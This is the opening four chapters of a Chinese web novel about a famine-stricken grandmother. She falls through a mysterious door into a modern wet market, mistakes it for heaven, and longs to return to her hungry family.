《两界搬运工[祖母版]》
1. 第 1 章
天不亮,万春兰就醒了。
她下意识听听外面有没有雨声?
身旁老头子的呼声太响,听不清楚,她摸索着起身下床,开门走到屋外摸了把地面,干的。
唉,又没下雨。
今年这年头也不知道怎么了,去年中秋后,雨水就特别少,到今年开春了两个月里竟是滴雨未下,眼看着立春后就要开地下秧苗了,万春兰是急的梦里都在求雨。
“唉。”
万春兰失望的站起来,两边厢房隐约传来熟睡的呼声,儿子儿媳们都还没起。
天边有些泛青了,应该快到卯时了。
她拢了拢单薄的衣襟,返身回到屋里,轻手轻脚穿好衣裳,从藤架上拿起那条已经斑驳的没多少毛的兔皮围巾子缠好,然后摸索到门边关上门,到檐下拿起装着小铲的竹篮挎到手臂上,紧盯着脚下慢腾腾往大门外走。
“阿奶?”
暗色中,一个小小的声音在西厢那边响起,然后一个小人儿跑了过来。
万春兰眯着眼睛看清是四岁的孙女刘小禾。
她轻声问:“咋这么早就起了?”
回应她的是孩子肚子里一串打鼓的轰鸣。
万春兰沉默,叹了口气,孩子是给饿醒的。
刘小禾托着万春兰的手臂:“阿奶,你是要上山去吗?”
“嗯,阿奶去山上挖点野菜回来咱们吃。”
刘小禾知道没光的时候阿奶眼睛看不见东西,现在天还没亮呢,她不放心让阿奶一个人出门。
“我陪阿奶一起去。”
万春兰唬着一张脸:“你个小丫头,还没个板凳高,快回屋里去再睡会儿。”
刘小禾四岁,长得还不如颗豆芽菜,家里这几个孩子,她是最弱的,老二媳妇生她的时候早产,还没有奶,她日日去村长家换羊奶,磕磕绊绊总算是把这孩子拉扯大了。只是到底娘胎里就亏着了,到现在四岁长得还不如人家两三岁的孩子壮实。
小禾虽然人小,但最懂事。她不放心阿奶一个人出门,执意要陪着万春兰一起。
“我要陪着阿奶。”
小孙女抱紧着她的胳膊不撒手,万春兰拗不过小东西,让她跟着自己一起出门了。
刘小禾托着阿奶的手臂走在前面,一双眼睛紧盯着脚下,其实她眼睛没光的时候也看不大清,但只要她使劲儿瞪大眼,还是能看清一点的。
有了小孙女在前面带路,万春兰步子迈的稳重,摸着孙女温温的小手,心里也高兴。
这会儿天还没亮,石磨村家家户户都是黑的,有一些人家也已经起了,只是都没点灯,灯油可贵着呢。
祖孙俩走在路上踩出悉悉索索的声响,刘小禾问万春兰:
“阿奶,为什么不等天亮了能看见路再出门啊?”
万春兰弯下腰拢在小孙女的耳朵边上小声说:“天亮了再出门就晚咯,山上的野菜就叫别人都挖去了。”
小丫头睁着一双圆圆的眼睛,哦!所以阿奶才天不亮就出门,因为要比别人早上山,野菜才不会都给人挖走。
想到野菜,小丫头舔了舔嘴唇,小肚子里没忍住叫了两声。
听到小孙女的肚子叫,万春兰握着孙女的小手,心里一阵沉重。
这老天爷迟迟不下雨,村里人都心慌的很,老人们都道怕是要不好,现如今各家各户都开始勒紧裤腰带不敢多吃。
他们家是早在开春还不见冒雨时,万春兰就开始控制家里的口粮,这俩月来,家里人都瘦了一圈,她看着心疼,可一日不下雨她就一日不敢多松余粮,只有多多出门上山,挖些野菜回来给家里人添添肚子了。
等雨下下来就好了。
雨下下来,把土地泡松软,他们就能翻地种粮食,种了粮食就不用害怕挨饿了。
万春兰抬起头看着灰蒙蒙的天。
老天爷!求您快点下雨吧!
......
一路在小孙女的领路下,祖孙二人走到了村口的林子边上,此时天边开始泛白了,万春兰叫小禾回去。
“回家去吧,这会儿天亮了,阿奶眼睛能看见了。”
小禾还太小了,四岁的孩子,在林子里走不远多少路,况且这孩子本身就不壮实,可不能让她再跟着一起上山了。
小禾也知道自己现在帮不上什么忙,小丫头昂着头,认真的说:“阿奶,等小禾再大一点就替阿奶上山挖野菜去。”
万春兰笑弯了一双眼睛:“好好,阿奶等我们小禾长大,长成大姑娘。”
小禾贴着阿奶温热的手心,嘿嘿笑起来,一脸的纯真。
“阿奶,你早点回!别累着。”
“诶,快回家去,路上看着点别摔了。”
“嗯!阿奶也小心别摔了!”
挥手叫小孙女回家,看着小丫头跑进村子了,万春兰才挎着竹篮转身往林子里走。
......
一个时辰后,万春兰靠着一颗树干歇会儿擦擦汗,一个时辰下来,竹篮里挖了半满的野菜,有马齿苋、野豌豆苗、救荒草,都是山里常见的野菜。
她掂了掂分量,够家里人吃个两顿吧。
忙活了一个时辰下来,篮筐都没装满,这放在往年雨水足的时候,半个时辰筐里就挖满了。
“唉。”
万春兰皱着一双并不细的眉,她探头往远处瞧了瞧,再往里走就深了,容易遇上野兽,她没再往里进,掉头回去了。
回去的路上她又继续找了找,走到一处斜坡时,瞧见前面长着一片绿,像是荠菜。
她走过去仔细一看,果然是荠菜,打眼一望长着不少呢!
万春兰满脸喜色,放下竹篮蹲下身子开始挖野菜。
这一块之前没被人采过,荠菜长的都可肥了,一颗有手掌那么大!
万春兰边挖边高兴,这下可够家里人吃上好几天了,春天可正是吃荠菜的好时候,一会儿回去把这些荠菜洗干净剁碎了跟粳米一起熬粥,弄点猪油炒一炒,再拌个凉菜,剩下吃不完的晒干做成酱菜。
万春兰脑子里计划着一会儿回去怎么处理这些野菜,边上很快就挖完了,剩下大多都长在斜坡下面。
她探头往下看了看,坡有些陡,但有几块能下脚的石头,她探出一只脚小心的往下蹭,蹬到一块凸起的石头,她试着踩了踩,很结实,应该是大石头凸出来的角,万春兰心里稍定,脚蹬在石头上踩牢了,开始斜着身子继续挖。
“嚓、嚓嚓、”铲子挖进土里发出嚓嚓的声响,沙土扑簌簌顺着斜坡往下滚,万春兰挖一颗就往上边竹篮里一丢,挖一颗丢一颗、不一会儿竹篮里就堆满了,眼看差不多了,她把铲子往边上一抛,蹬着石头就准备上坡,谁知就是这一下!脚下踩的石头猛然一松——
“啊!”
慌忙间万春兰双手使劲攀扯,可惜却没有能着力的东西,大片的沙石噼里啪啦滚落、有一块不起眼的黑色石头掉进了万春兰衣裳里,伴随着万春兰惊慌失措的尖叫,整个人从山坡上滚了下去!
“哎呦!”
万春兰摔了一个狗吃屎的姿势落地,竹篮掉到手边上,野菜散了一地。
身上没感觉到疼,她抬起头,发现自己掉进了一个白
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屋子里。
四周都是雪白雪白的墙壁,万春兰惊讶地从地上坐起来,打量了一圈回头,看到她身后有一扇发着光的门。
会、会发光的门!?
万春兰惊骇不已,登时就吓住了。
她鼓圆了一双眼,脑子里突然蹦出三个字——
鬼门关!
脑袋里嗡地一声,万春兰翻身噗通一下冲着鬼门关跪下开始砰砰磕头:
“阴差大人饶命!判官大老爷饶命!老婆子一辈子没干过坏事,我、我还有家人,家里还有好几个小孙儿,别索我的命,大老爷饶命,饶命啊......”
万春兰砰砰磕头,说了一堆求饶的话,把头都磕晕了,却一直不见鬼差来抓她。
她伏在地上,偷偷瞄起眼来看。
四周静悄悄的,上下左右前后除了她一个人都没有,除了白花花的墙,就是那扇发光的门。
万春兰看着那扇放光的门吞了吞口水,赶忙移开眼,生怕多看一眼就给吸进鬼门关里去了。
她趴在地上,小心翼翼的手脚并用往后挪,离那扇门远远的,直到抵着墙再也退不动了。
她背过身去,像个缩壳的乌龟,缩进墙角。
万春兰害怕的发抖,脑子里乱的很。
这是哪里?
自己不是从山坡上滚下来了吗?
怎么掉到这个白屋子里来了?
按道理山坡下面,应该是土地,要么是树,草啊,怎么会是个白屋子呢?
万春兰悄悄按了按手边白花花的墙,不是土、不是木头也不是石头,摸着是硬的,可人摔在这上面却一点都不疼,她从坡上滚下来身上就一点没感觉到疼,还有她刚才磕了那么久头,想到这万春兰抬手摸了摸额头,真的一点都不疼,连个包都没有。
这......难道,她现在是鬼魂?所以摔不痛了?
万春兰心里一咯噔,要是有血有肉的,从山坡上摔下来,又磕那么久头,咋可能一点事儿没有?
自己这是!是......
想到自己摔死了,万春兰整个人一瘫,缩在墙角眼泪唰地就下来了。
“呜...呜呜......”
“儿啊......闺女......孙儿......”
她不过是挖个野菜,怎么就摔死了呢?
她倒是死的干脆,一了百了了,家里人可怎么办?
她......她不想死啊......
不知又过了多久,万春兰哭够了,她抬起头瞧着这间白屋子,依然还是那样,没有一丁点变化。
万春兰擦干净脸,回头去看那扇门。
许是想到自己死都死了,也没什么好怕的了。
这白屋子里除了她和这扇门什么都没有,摆明了就是让她走这扇门。
人都死了,还怕什么!
左右不过投进鬼门关里来生做一条好汉!
万春兰胸腔里升起一股气!她气势汹汹从墙角站起来,凭着这一股气儿,快步走到门前,双手颤颤巍巍放到门上,闭上眼用力一推——
“特价榴莲,特价榴莲19.9一斤!”
“鸡蛋、鸭蛋、鹅蛋、皮蛋、鹌鹑蛋、松花蛋、各种蛋!”
“啊?我在菜市场呢。”
“老板这个怎么卖的?”
“叮,支福宝到账16元。”
......
各种嘈杂的声音一股脑汇到耳朵里。
万春兰小心睁开眼,顿时瞪的老大。
这...?这是鬼门关后面的地府吗?
2. 第 2 章
“来——青菜特价两块,两块!”
“新鲜活鱼,现卖现杀,不新鲜不要钱!”
“进口草莓,二十一盒!”
......
万春兰瞪大双眼看着门后的地方。
好高的屋...!这房梁比树都高!
好多好亮的灯!比油灯亮多了,跟太阳似的!她从来没见过这么亮的灯!
好多摊位!上面堆的满满登登、码列的整整齐齐全是瓜果青菜!
那、那个是白菜吗?怎么长那么大个!还有那个绿油油的,是菠菜?那个粗的,是萝卜?
那黄澄澄的是啥?果子还是瓜?咋长的那么水灵!
那个大青皮又是什么?
各种绿的红的黄的黑的、长的圆的扁的、认识不认识的瓜果蔬菜看的万春兰瞠目结舌、眼花缭乱。
这、这就是鬼门关后面的地府?
地府这么热闹?
万春兰的一颗心咚咚咚狂跳,这地方热闹的跟办庙会似的,到处乱糟糟的不知道在喊些什么,听着像是在叫卖?可怪腔怪调听到耳朵里一个字都听不懂。
来来往往好多人,这些人看着全跟那城里的掌柜似的,一个个全都长得白白净净,穿的也干净鲜艳。
可是这些人怎么都穿的这么怪?
长袖长裤,一点不像县城里的老爷们穿着长衫大褂。
有的人那裤子都破洞了,就那么破着,也不补上,松松垮垮,一走动膝盖就从破洞里露了出来。
她还看见一个女人,上半身穿的好好的,下半身竟然只穿着半截裤子!膝盖以下全都露出白花花的肉来。
万春兰眼都快瞪出来了!
这!这这这!
她敢穿,她都不敢看!
万春兰臊红一张老脸,可她发现除了她,周围竟然没有人对那只穿半截裤子的女人露出惊讶来,好几个人从她身边路过看都不看一眼,似乎她这么穿很正常。
马上,万春兰就看到更多只穿半截衣裳的人,有男的有女的,有的上面穿半截,有的下面穿半截,还有上下全半截,看得多了万春兰只觉得自己整个人都快烧起来了。
太羞人了!不光穿的怪,头发也怪!有的头发那么短的跟和尚似的,好些长头发的也不束发,就那么披头散发,还有不同颜色的头发!
此时一个白色T恤休闲短裤的黄头发的帅哥路过,瞅见万春兰一愣。
他下意识看看四周,犹犹豫豫的经过万春兰,忍不住又回头看了两眼,悄悄举起手机。
万春兰被这黄毛鬼盯上吓得浑身紧绷,她倒退一步,身体啪叽一下贴到墙上,回头一看发现身后一面光溜溜的白墙,门呢?她伸手摸索,这墙跟白屋子的墙不一样,摸上去冷冰冰硬邦邦还滑手,门不见了!
旁边的水果摊小老板于圆圆新奇地瞅着这奇怪的老太太。
刚才这老太太从柱子后面一出来,她就注意到了。
主要是她这副打扮,让人想不注意都难啊!
一身古风做旧的蓝布褂子,下身裙子套裤子,脏旧的老布鞋,全身各种大大小小的补丁,梳着个古代头,打扮的相当到位,于圆圆一愣,心想这是在搞直播还是拍短视频呢?但老太太手里没拿自拍杆,旁边也没人举着摄像头拍。
哦!知道了,是拍短剧!
她又找,果真看到不远处有人举着手机拍。
唷现在短剧拍摄成本这么低啊?一部手机就搞定了。
别说,这老太太的演技有点浮夸哈,全程表情帝,各种瞪眼看得于圆圆呲起个大牙忍不住乐。
就是她没看明白这是在拍什么。
一个古代老太太在菜市场拍什么剧情呢?穿越?就她一个演员嘛?其他演员呢?没人跟她演吗?
于圆圆看了半天,就看见老太太和一个黄头发的帅哥疑似有对手戏。
俩人还没台词。
然后老太太就开始抠柱子找什么东西似的。
这让她更想不通,到底是拍的啥剧情啊?可给于圆圆好奇死了。
看老太太不演了好像拍完了,那边拍摄的人也不在了,于圆圆实在好奇,忍不住上前搭话:
“诶,大娘?你们这是拍什么呢?”
嚯!
突然有个人站到她旁边跟她说话。
万春兰吓了一跳抬头看过去。
眼前是一个黑头发的漂亮女鬼,长长的头发披散着,长发全是大卷,脸上涂着鲜艳的胭脂,鲜亮的有些吓人!
“大娘?哦不好意思,大姐?你这是化的老年妆是吧?”
女鬼张开红艳艳的嘴唇跟她说话,但她说的什么,万春兰一个字听不懂。
女鬼开开合合的嘴巴红彤彤亮晶晶,好像刚喝了鸡血似的,一口牙白的渗人,万春兰吓得直哆嗦,实在没忍住,一脸惊恐低着头跑了!
“诶?”
于圆圆诧异的看着老太太逃走的背影一头雾水。
“不是?我有那么吓人吗?”
万春兰急匆匆逃离那个红唇女鬼,闷头苍蝇似的哪有路就往哪走,她这幅样子实在惹眼,所到之处自动避让,几乎是个人看见她的样子都要愣一下然后避开。
拐了两道弯,万春兰停下来回头,身后女鬼没有追上来。
她也说不上是松口气还是没松,这时一股浓郁的肉香味钻进了鼻子里,万春兰闻着味道看向旁边,顿时眼睛又瞪圆了。
在她右边,是个卖脆皮烤鸭的。
透明的电烤炉里,旋转着一个个烤的油汪汪的烤鸭,极致的美拉德反应呈现着诱人的色泽,上面大喇叭叫卖:
“脆皮烤鸭新鲜出炉,18一只。”
万春兰直勾勾盯着烤炉里的烤鸭。
这?这是烤鸭子?
油润润、亮晶晶、肥腻腻的大鸭子!那香味儿挡都挡不住直往万春兰鼻子里钻。
口水瞬间疯狂分泌,万春兰使劲儿咽了下去,她从来没见过这么“漂亮”的烤鸭子,金红金红的外皮,泛着蜜一样的亮光,那油肥的都直往下滴!
这一口下去得香成什么样啊!
这得是皇帝才能吃的烤鸭子吧!
万春兰根本无法想象这鸭子得好吃成什么样,光闻闻味儿她就要香迷糊了。
家里上一次开荤还是过年的时候,这段时间来又因为不下雨怕闹饥荒一直控制口粮,天天野菜粥配咸菜根,肚子里早没油水了。
万春兰愣愣盯着脆皮烤鸭,一时间没挪动步。
“大娘,要来个烤鸭?”
烤鸭店老板瞧见摊位面前来了个打扮奇怪的大娘,站起来迎客,瞅着万春兰一阵新奇。
乍一看以为是个要饭的,但她这身特别到位的打扮,又让人犹豫了。
这年头要饭的也不会穿成这样啊。
打扮的跟个古代人似的。
又不太像那些穿汉服的。
拍综艺节目呢?
烤鸭店老板下意识站直了腰板,双眼不经意的开始找
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镜头。
万春兰看见那烤鸭子的摊位后面站起来个光头男鬼,对方笑模样的瞅着她说了句话。
她看见对方脖子上挂了一串佛珠,佛珠下面还坠着块佛牌。
佛珠。
光头
佛牌。
啊!
他是个和尚!
万春兰脸上露出惊讶。
和尚卖烤鸭子?
“刚出炉的,18一只,要来一个吗?”老板笑着问。
对方冲她笑的和气,圆圆的脸上鼻子是鼻子,眼睛是眼睛,跟那些寺庙里的诵佛念经的大师一模一样。
可能因为对方是和尚,又对她笑的特别和气,万春兰这次没有吓得直接跑掉。
这位大师似乎在跟她说什么,可是她听不懂啊。
瞧大师一直看着自己,万春兰有些慌。
她冲着烤鸭店老板小心翼翼摇摇头。
“大师,我听不懂你说什么。”
烤鸭店老板抻出去耳朵“啊?”了一声。
这个听懂了!
大师在等她回话。
万春兰连连又冲着烤鸭店老板摇摇手:“听不懂,听不懂啊。”见大师皱起了眉,万春兰心里一慌,连忙双手合十冲烤鸭店老板拜了拜:“对不住大师,您问问别人吧,不打扰大师了,不打扰大师了。”万春兰恋恋不舍的看了烤鸭一眼低下头赶紧走了。
给烤鸭店老板拜懵了。
他看着万春兰的背影抬手摸摸光头。
这说的是哪儿的方言?一个字儿没听懂。她还拜拜我?这啥意思啊?......节目效果?
留下了一头雾水还在找镜头的烤鸭店老板,万春兰从烤鸭摊前离开,往前没走多远,又来到一家熟食店。
万春兰往摊位上一扫,直接倒吸一口凉气。
卤鸡爪、卤猪蹄、卤大肠、卤肝、熏鸡、熏鹅、熏肉、灌肠......
万春兰都懵了!
再往前走,紧邻着一家凉拌菜,几十个锃光瓦亮的盆子里放着各种青菜、丸子、面筋、凉粉......
再往前走,一家炸货店,炸鸡块、炸里脊、炸鸡叉骨、炸小酥肉、炸丸子、炸香肠......
“猪头肉22一斤。”
“粑粑柑,十块钱三斤。”
“纯正东北黏玉米,黏到你掉牙。”
“米面粮油可批发。”
......
各种数不清的吃食和不认识的货物,过道两边全摆满了东西,然后过道旁边的过道,还是满满的摊位。
万春兰一路走一路看。
满心震撼。
她这辈子去过最热闹、见过堆的货物最多的地方,就是城里的庙会。
可她觉得城里的庙会比这里也差远了!这地方的瓜果青菜个个鲜嫩水灵,鱼又肥又大,粉白粉白的鸡蛋摞得那么高......还有好多东西,她根本见都没见识过!
万春兰不知道自己在这里走了多久。
震惊太多次,她反而慢慢有点镇定了。
她越看越觉得这里不像地府。
人们说的阴森森的地府,牛头马面、青面獠牙的鬼差,她一个没看见。
这里到处都亮堂堂的,一点都不阴森,每个人都生的白净健壮,有着数不尽的吃食和货物。
数不尽的吃喝,这不是神仙才有的日子吗?
万春兰停下脚步。
老婆子我一定是摔死升天了!
3. 第 3 章
当意识到自己升天来到了神仙待着的地方,万春兰整个人都颤抖起来。
神仙待的地方啊!她一个普通老百姓,死后竟能来到神仙待的地方,能不激动吗!
万春兰看着这里来来往往的人激动的想,原来人死后不是去投胎了,而是到了另一个地方继续生活。
这可真是不死一下,打死她都想不到!
她在这里看了这么久也不是白看的。
她发现这里跟人间的集市很像,那些摊位上都有掌柜,满满的货物不是能随便拿的。
她看到好多人,从摊位上要了什么东西后,就会拿出一个长块块,对一下摊位上的小牌发出“滴”的一声,然后用手指在长块块上敲几下,然后再拿着东西走。
还有人会给一些花纸,交给掌柜之后,也能把货物拿走。
而且她发现自己也不是完全听不懂这里的话!比如菜、米、蛋、油、肉,她仔细对照过,是她认识的那些,跟人间叫法一样,她能听懂!
还有那个长块块,她发现几乎每个人都有一个。
看样子在这里生活的人,都要有那么一个长块块?
她看不懂那长块块是什么东西,这东西是在哪领的吗?
要去找谁领呢?
万春兰有太多不懂了,问题是她还不会这里的神仙语,这让她找人问都没法问。
“老板,拿两个牛肉馅的包子。”
“好嘞,两个牛肉馅,6块。”
杨婷麻利的给客人装完包子,火急火燎回去继续拌馅儿包包子,今天摊位上就她一个人忙活,忙的她脚打后脑勺,偏偏这会儿摊位前来了个特别奇怪的老太太。
上个客人买包子的时候这老太太冒过来的,看着人买完包子,然后站在那不动了。
“大娘你要买包子吗?”
她问了一嘴。
老太太没搭理她。
站那眼睛四处看,不知道在想什么。
这老太太打扮的特别古怪,穿的跟个古代人似的,还是特别破烂的那种,人又瘦又小,皮肤黝黑,脸上皱纹很深,不知道她是故意的还是怎么着了,衣服裤子上全是土,活像是在土坑里摔了一跤似的。
杨婷手下飞快的掐包子褶,频频看向老太太。
她往这一站特别惹眼,给杨婷弄的特别奇怪。
“大娘你买包子?”
她又问了一声,还是没搭理她。
不搭理她还不走,她往这一站,好几次有别人想过来,看见她后,犹豫了没敢靠近。
不是,这干嘛啊?不让她做生意了?
你要是个要饭的,给你俩包子就是了,你说你一声不吭往我这摊位前一站,这是要干嘛。
杨婷拧起眉毛,见她还不走,一擦手,从摊位里走了出去。
“我说你这大娘,问你话不说,堵人门口干嘛。”
万春兰正在认真的看过道上一个人摆弄长块块呢,身旁罩下来个影子,她抬头,发现是个胖胖壮壮的仙姑来跟她说话。
仙姑跟她说了什么没听懂,但她发现胖仙姑看她的表情不善,万春兰脸上惶恐,不清楚是不是自己做了什么不对的,跟胖仙姑鞠躬道歉:“对不住仙姑,老婆子我刚来,还不懂这里的规矩。”
杨婷没听懂这小老太太说的什么。
但眼见对方看见她后一副被吓到胆子很小的样子,又弯腰又鞠躬的,加上她这一副惨兮兮的样子,活脱脱衬的自己像个恶霸一样。
杨婷一顿,稍微缓了下语气,“大娘,我不是冲你,你看我问你半天你买不买包子,你又不吱声,你要是不买,也别挡着我做生意是吧。”
万春兰很茫然,她很努力的在听,但这一串话过去,就跟哗啦泼了一盆水似的,除了听个响儿什么也没听出来。
虽然听不懂,但她会看脸色,这胖仙姑长得威武,狞着眉毛低下眼盯着她,很明显一副不高兴的样子,万春兰被看得害怕,下意识的退后,离远了点,嘴里不住的道歉:“对不住,对不住。”
旁边倚在那看热闹的摊位的老板笑声调侃杨婷:“包子铺,你欺负人家老太太干嘛。”
杨婷一听不乐意了,叉着腰怼回去:“你可真能扯,我什么时候欺负她了。”
邻位笑嘻嘻的也不客气,指着挪到墙边的万春兰:“你看你给人老太太吓得,当心人家回去找家里人来找你。”
杨婷白了一眼:“找我干嘛?我干什么了就来找我,你当谁都像你似闲的。”
这人就是个贱嘴巴,杨婷一点不跟他客气。
回头瞧见小老太太畏畏缩缩的退到墙边的缝里,跟她对视上,就害怕的移开眼,瞅着怪可怜的。
做生意都讲究个和气生财,谁也不想惹不痛快,杨婷皱着眉毛,她回去摊位后面,拿起一个笼屉,看笼屉里还剩下三个猪肉大葱包子,想了想,她拿塑料袋装了,过去送给万春兰。
“大娘,我也没别的意思,这几个包子你拿着尝尝吧,都是早上现包现蒸新鲜的。”
万春兰正站在一个不碍事的地方,继续打量这神仙地,就看见胖仙姑又过来了,递了她一兜大包子。
万春兰惊讶不已。
难不成胖仙姑刚刚跟她说话,是问她要不要买包子?
哎哟!这误会可大了,她还没有长块块呢!
她赶忙摇手:“不不,我不是要买包子,我没银子给仙姑。”
杨婷也没听懂她嘴里说的啥,把塑料袋硬塞到她手里。
“请你吃的,请你的。”
塞完后心里一松,风风火火回去摊位里继续忙活。
万春兰抱着三个大包子,她跟着胖仙姑身后,看她回摊位里去了,低头继续忙活,完全没有跟她要银子的意思。
万春兰反应过来了。
这是仙姑送自己的!
啊!这!
万春兰受宠若惊。
这胖仙姑虽然长得凶悍了些,但心肠是个好的,还送她包子吃!
万春兰感激的不行,可她不能白拿人家东西啊,她站在摊位外面,冲着里面的杨婷说:
“仙姑,我不能白拿你的包子,要不,你铺子缺人手不,我给你干点活儿?”
“啊?”杨婷转过身,看老太太站在摊位前看她,一脸很诚恳的样子。
估计是谢谢她之类的话。
杨婷摆摆手:“没事,请你吃的,不用谢,拿回家吃去吧。”
看仙姑冲她挥手,不要她干活的意思。
万春兰抱着包子局促的站在过道上,心里是又感激又不安生。
她这辈子,从来没白要过别人的东西,白拿人东西她心里不安呐!
她觉得自己能升天到这神仙地方,肯定跟她一辈子做人堂堂正正有关。
那现在也不能变了。
她瞅见摊位边倚着一把扫帚,正好仙姑的摊位前有一些脏。
万春兰把装着塑料袋的包子小心的塞到怀里,然后去拿起扫帚,帮仙姑把摊位前打扫打扫。
杨婷听到声音,探出头来一看。
这老太太怎么还拿着她扫把扫上地了!
“诶不用不用。”她上前去抢扫帚。
这菜市场有打扫卫生的,也用不上她啊。
“这是别人的活儿,行了大娘,你回家去吧,你在这外头不回家,你家里人不着急啊。”
万春兰手里的扫帚被胖仙姑拿回去,看见胖仙姑自己划拉了两下,然后把扫帚重新支在旁边。
她努力的听胖仙姑的话,盯着人的脸瞅,试图想连猜带蒙出对方跟她说的什么。
杨婷被老太太直勾勾盯着,搞的她心里直发毛。
她跟这老太太一来一回几个回合,
杨婷突然发现这老太太似乎
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有点不对劲。
她一开始就站在过道上四处看人发呆,好像找不着家似的。
人脏兮兮的不说,跟她说话,她好像听不懂的样子。
她一张口说的什么,她也听不懂。
莫名其妙拿扫帚开始扫地。
然后现在又直勾勾盯着人。
哎哟。
这老太太不会有啥病吧?
该不会是个老年痴呆吧!
杨婷心里一突,她惊疑不定的看向万春兰,看见老太太又冲她鞠了一躬。
“谢谢仙姑,老婆子我今天刚来,什么趁手的都没有,等我挣上钱了,一定来好好谢谢仙姑。”
叽里咕噜不知道说了啥,鞠躬完后,转身走了。
杨婷半张着嘴巴看着万春兰离开的背影。
......不会真是个老年痴呆吧?
---
得了几个大包子。
万春兰心里热乎乎的,她找了个不碍事的地方,把仙姑给的包子拿出来。
这包子可真白啊!
拿在手里可实成了。
包子外面用着一个白色透明的袋子装着。
她看到好多摊位都是用这种袋子装东西的,她先前一直看的好奇,但是不敢拿,现在胖仙姑送了她一个,可算是让她摸着真的了。
万春兰细细的摸着塑料袋,这袋子不知道是什么布料做的,一摸上去嘶嘶响,装着热包子,水汽竟然一点也没透到袋子外面。
一研究她就发现这袋子着实是个好东西,不透水汽,还不沾灰,这装东西不就不用怕弄脏了吗,而且还特别轻飘飘的,可比布袋子好用多了!
真不愧是神仙待的地方,连装东西的袋子都是好东西。
小心的把袋子口解开,万春兰看着里面的包子。
真白啊。
白的连一个黑点都看不见。
这面得磨的多细,筛多少遍,才能蒸出来这么白的包子啊。
她凑近鼻子底下闻了闻。
一股浓浓的令人安心的粮食香。
万春兰口水开始分泌,肚子开始不争气的咕噜咕噜叫起来。
原来到了哪里都得吃饭,升天了她照样感觉到肚子饿呢。
她捧着包子小心的咬了一口。
软!跟豆腐似的!
甜!香喷喷的白面香!
然后是浓郁油润的爆汁儿肉馅,瞬间冲击了她的味蕾。
万春兰一口肉馅下去直接把自己吃呆了。
这包子也太好吃了,这、这馅儿是怎么调的?这么香!
她撑开包子皮往里看,满满都是漂亮的酱油色油花,肉馅紧实的团成一团,一捏就冒上来香浓的酱汁。
这得放了多少好东西调馅儿才能油润成这样!
这么好吃的包子,要是能拿回去给家里人尝尝多好啊!
万春兰捧着包子顿住。
神情一瞬间落寞了下来。
今天早上,她还握着小孙女的手一起走出的家门。
谁曾想着一出门,她就摔死升天再也回不去了。
家里人的面孔一个个在她面前浮现,
老头子......儿子劲山、劲水......女儿小慧......大儿媳二儿媳......孙子......孙女小禾......
她倒是升天了,可怜她的家人还全在人间,今时年头不好,老天爷一直不下雨,要是一直不下雨......
闹饥荒,那可是要饿死人的啊......
一想到家里人可能会饿死,自己在这神仙地方,吃这么香的大肉包,万春兰就一口也吃不下去了。
心口里越来越难受,万春兰佝偻着身体,眼泪忍不住的流成两条河。
如果让她选,她还是想回到人间,回去家里人的身边。
她想回家啊!
4. 第 4 章
“还没看到你阿奶吗?”
石磨村刘家大门口,刘大江拉着一张老脸出来,问坐在门口石头上的小孙女。
刘小禾昂头看着阿爷摇摇脑袋:“没有。”小丫头担心地问阿爷:“阿爷,要不要去找找阿奶?”
刘大江拉着老脸没搭理小孙女,皱眉瞧了眼路口,转头回去叫两个儿媳妇:
“老大老二媳妇,你们过来拿粮去做饭。”
两个儿媳妇过来跟着刘大江身后到屋里,二儿媳马荷花捧着陶盆过来,刘大江打开米缸。
这段时日以来,老婆子要省粮食,全家十口人,一顿干的一顿稀的,靠的人油水都没了。
刘大江看着米缸里还有这么厚的米,一挥手,豪横的挖了三大勺米三大勺糠,小米也挖了两大勺。
刘大江心满意足盖上米缸盖子,“做饭去吧。”
两个儿媳妇看着满盆的粮食,眼睛直发亮。往常干的这一顿娘也是只挖两勺米,公爹这一顿连把晚上那一顿的粮都盛出来了。
大儿媳有些担心:“娘回来会不高兴吧?”
刘大江冲着儿媳妇冷下脸,“她不高兴全家人就不吃饭了?怕她生气,那这顿你不要吃了。”
刘大江是一家之主,年轻时还当过几年村里割麦队的队长,一唬起脸来煞有气势,
听他这么说,罗菊香吓了一跳赶忙赔笑端起陶盆去淘米:“爹,我这就去做饭。”
马荷花也连忙跟上:“等等我大嫂。”
“再把腌的腊肉切一段炖个菜。”
“诶,好的爹。”
“哦!有肉吃咯!爷爷,你真好!”
听到早上有肉吃,三个孙子兴奋的跑过来刘大江跟前,刘大江粗糙的大手挨个摸了摸大孙子们的脑袋,笑道:“乖啊,只要爷爷在家,都让你们吃饱肚子。”
“爷爷真好!”
“二宝最喜欢爷爷了!”
“福哥儿也最喜欢阿爷!”
刘大江乐起来,大手胡噜着孙子们的脑袋,乐的一脸褶子,刘小禾也高兴的跑来围着叫了几声好阿爷,没得到刘大江摸脑袋也没在意,转头小脸兴奋地跑去门口翘首以盼。
阿奶快点回来,今早有肉吃呢!
很快饭就做好了。
全家都围到桌子前。
小禾捧着碗筷垫高脚放到桌上摆好,小脸儿担心的望着门口,都要吃饭了,阿奶怎么还不回来呢?
满满一大盆热气腾腾的干饭端上桌,一大盘香喷喷的腊肉炒野菜,再加上两碟腌酱菜。
浓郁的饭香飘满院子,闻的全家人肚子咕咕响。
刘大江往主座上一坐,自己率先盛满一大碗饭,夹了一大筷子腊肉野菜,大手一挥:“吃饭吧。”
看爹自己盛完饭就不管他们了,两个儿媳妇看了看自家男人。
平日万春兰在家,都是她负责分饭,今天娘不在,他们一时间没动,这时二儿媳妇马荷花站了起来:“今早大嫂忙着做饭,我给大家盛饭吧。”
马荷花拿着饭勺,先给大伯哥一家盛,平日里婆婆给每人碗里盛多少饭,他们整日看在眼里,都是有数的,马荷花按照差不多的量给大伯哥盛完,给自家男人盛时,下意识的多盛了点。
这一下让罗菊香看了出来,她拧起眉毛,一把抢过饭勺,直接又挖了一块饭放到自家男人碗里,嘴上皮笑肉不笑道:“都是一家人,哪有让弟妹伺候的道理,嫂子我自己来就成。”
手上一点不耽误的给俩儿子和自己碗里都盛满饭。
马荷花看着罗菊香抢走饭勺,见她给自家那边盛那么多,到自己家都没剩下多少了。
她一急,有些不乐意:
“大嫂,你看福哥儿和小禾都没得吃了。”
罗菊香刮一刮盆底盛了半碗饭放到刘小禾跟前。
“咋没得吃?这不满着呢嘛。”
马荷花有心要再说什么,被自家男人刘劲水怼了一下:“快吃饭吧。”
马荷花咽了声,心里不高兴,但也没再说什么,低下头把自己碗里的饭拨了一筷子到儿子福哥儿碗里。
分完了饭,全家人开始低头吃饭。
这时响起一道稚嫩的声音,小丫头看着空了的饭盆。
“不给阿奶留饭吗?”
